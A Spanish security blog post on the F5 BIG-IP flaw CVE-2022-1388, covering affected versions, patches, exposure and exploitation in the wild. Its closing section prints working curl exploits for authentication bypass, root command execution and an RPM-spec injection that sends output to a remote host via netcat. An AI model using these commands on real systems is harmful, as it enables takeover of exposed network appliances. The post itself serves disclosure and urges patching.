6 may 2022

Vulnerabilidad crítica (9.8/10) en F5 (Parchea CVE-2022-1388 YA!)

F5 ha emitido una advertencia de seguridad sobre un vulnerabilidad que puede permitir a los atacantes no autenticados con acceso a la red para ejecutar comandos arbitrarios del sistema, realizar acciones de archivos y deshabilitar los servicios en Big-IP.

La vulnerabilidad, identificada como CVE-2022-1388, tiene una clasificación de gravedad CVSS V3 de 9.8, clasificada como crítica. Su explotación puede conducir a tomar completamente el sistema.

Según el aviso de seguridad de F5, el defecto se encuentra en el componente iControl REST y permite que un actor malicioso envíe solicitudes aún no reveladas para evitar la autenticación en Big-IP.

Debido a la gravedad de la vulnerabilidad y el despliegue generalizado de productos Big-IP en entornos críticos, CISA (Agencia de Seguridad de Ciberseguridad e Infraestructura) también ha emitido una alerta hoy.

La lista completa de los productos afectados se proporciona a continuación:

  • BIG-IP versions 16.1.0 to 16.1.2
  • BIG-IP versions 15.1.0 to 15.1.5
  • BIG-IP versions 14.1.0 to 14.1.4
  • BIG-IP versions 13.1.0 to 13.1.4
  • BIG-IP versions 12.1.0 to 12.1.6
  • BIG-IP versions 11.6.1 to 11.6.5

F5 ha introducido correcciones en v17.0.0, v16.1.2.2, v15.1.5.1, v14.1.4.6 y v13.1.5. Las ramas de 12.x y 11.x no recibirán un parche. Además, el aviso aclara que la gestión centralizada Big-IQ, F5OS-A, F5OS-C y SDC de tráfico no se ven afectadas por CVE-2022-1388. Aquí hay una simple prueba de concepto y un chequeador de la vulnerabilidad.

F5 ha proporcionado las siguientes tres mitigaciones efectivas que pueden usarse temporalmente para aquellos que no pueden aplicar las actualizaciones de seguridad de inmediato.

F5 proporcionó todos los detalles sobre cómo hacer lo anterior en el aviso, pero algunos métodos, como bloquear el acceso por completo, pueden afectar los servicios, incluida la interrupción de las configuraciones de alta disponibilidad (HA). Como tal, aplicar las actualizaciones de seguridad sigue siendo el camino recomendado a seguir, si es posible.

Finalmente, F5 ha publicado un aviso más genérico para cubrir un conjunto adicional de 17 vulnerabilidades de alta gravedad descubiertas y corregidas en BIG-IP.

Más de 16.000 dispositivos BIG-IP expuestos

Con los dispositivos F5 BIG-IP comúnmente utilizados en la empresa, esta vulnerabilidad presenta un riesgo significativo para permitir que los actores de amenazas obtengan acceso inicial a las redes corporativas.

Para empeorar las cosas, en lugar de que la empresa proteja adecuadamente los dispositivos BIG-IP, el investigador de seguridad Nate Warfield ha visto que la cantidad de dispositivos expuestos públicamente ha aumentado significativamente desde 2020.

Usando la consulta compartida por Warfield, Shodan muestra que actualmente hay 16.142 dispositivos Big-IP F5 expuestos públicamente a Internet. La mayoría de estos dispositivos se encuentran en los Estados Unidos, seguidos por China, India, Australia y Japón.

Los investigadores de seguridad ya han comenzado a reducir la ubicación de la vulnerabilidad, y no sería sorprendente ver a los actores de amenaza comenzar a escanear para dispositivos vulnerables en breve.

Por lo tanto, los administradores de la red deben parchear estos dispositivos lo antes posible o al menos aplicar las mitigaciones suministradas.

Actualización 09/05

El exploit ya es público. El investigador de seguridad de Cronup, Germán Fernández (aka 1ZRR4H), observó que los actores de amenazas están colocando webshells de PHP en "/tmp/f5.sh" y los instalan en "/usr/local/www/xui/common/css/". Después de la instalación, el payload se ejecuta y luego se elimina del sistema.

Kevin Beaumont también ha observado intentos de explotación en ataques que no tenían como objetivo la interfaz de administración. Señala que si el sistema F5 se ha configurado "como un balanceador de carga y un cortafuegos a través de la misma IP, también es vulnerable". Otros investigadores también han visto CVE-2022-1388 aprovechándose masivamente contra la interfaz de administración.

El proceso de autenticación es sencillo

1. Si un usuario se autentica con una cookie (BIGIPAuthCookie) o autenticación básica HTTP, Apache lo valida usando mod_auth_pam.so y lo pasa al backend sin token. Dicho backend ya no comprueba nada porque entiende que el usuario se ha validado previamente en el frontend correctamente.

2. Si la solicitud contiene un token (cabecera X-F5-Auth-Token), la solicitud (token incluido) se reenvía al backend para su validación (a menos que el servidor haya sido parcheado).

Y el exploit como veremos es también sencillo:

$ curl -sk -H 'X-F5-Auth-Token: AAAAAAAAAAAAAAAAAAAAAAAAAA' -H 'Connection: X-F5-Auth-Token'
-H 'Host: 127.0.0.1' -u admin:invalidpw https://_IP_/mgmt/tm/ltm/pool
{"kind":"tm:ltm:pool:poolcollectionstate","selfLink":"https://localhost/mgmt/tm/ltm/pool?ver=16.1.2.1","items":[]}

A pesar del token incorrecto y la contraseña no válida, ¡esta solicitud funciona!

¿Por qué? Porque confundimos al frontend para pensar que debemos autenticarnos en el backend (estableciendo un token), pero a la vez también confundimos al back-end para pensar que ya nos autenticamos (al incluir el X-F5-Auth-Token) y luego usando Connection para eliminarlo (esa cabecera se suele utilizar para indicar a proxies que ciertas cabeceras han de ser eliminadas antes de reenviar la petición). Ambos asumen que el otro hizo el trabajo, ¡pero ninguno de ellos autenticó al usuario!

El primer exploit público de Horizon3 utilizaba el endpoint /mgmt/tm/util/bash para ejecutar comandos:

$ curl -sk -H 'Content-Type: application/json' -H 'X-F5-Auth-Token: AAAAAAAAAAAAAAAAAAAAAAAAAA' 
-H 'Connection: X-F5-Auth-Token' -H 'Host: 127.0.0.1' 
-u admin:invalidpw https://_IP_/mgmt/tm/util/bash --data '{"command": "run", "utilCmdArgs": "-c id"}' | jq '.commandResult'
"uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:initrc_t:s0\n"

Pero hay otro endpoint interesante que permite crear archivos spec de RPM que podrían derivar en la ejecución remota también de comandos y de paso bypassear algunos filtros:

$ curl -uadmin:admin -H "Content-Type: application/json" -X POST
-sk https://_IP_/mgmt/shared/iapp/rpm-spec-creator
--data '{"specFileData": {"name": "test", "srcBasePath": "/tmp", "version": "test6", "release": "test7", 
"description": "test8\n\n%check\nid | nc 10.0.0.123 4444", "summary": "test9"}}' | jq --raw-output '.specFilePath'
/var/config/rest/node/tmp/1b89e446-e78a-435a-b6ee-c98c58284090.spec

PARCHEA!!!!

Fuentes:

Suscríbete a nuestro Boletín

0 Comments:

Publicar un comentario

Gracias por dejar un comentario en Segu-Info.

Gracias por comentar!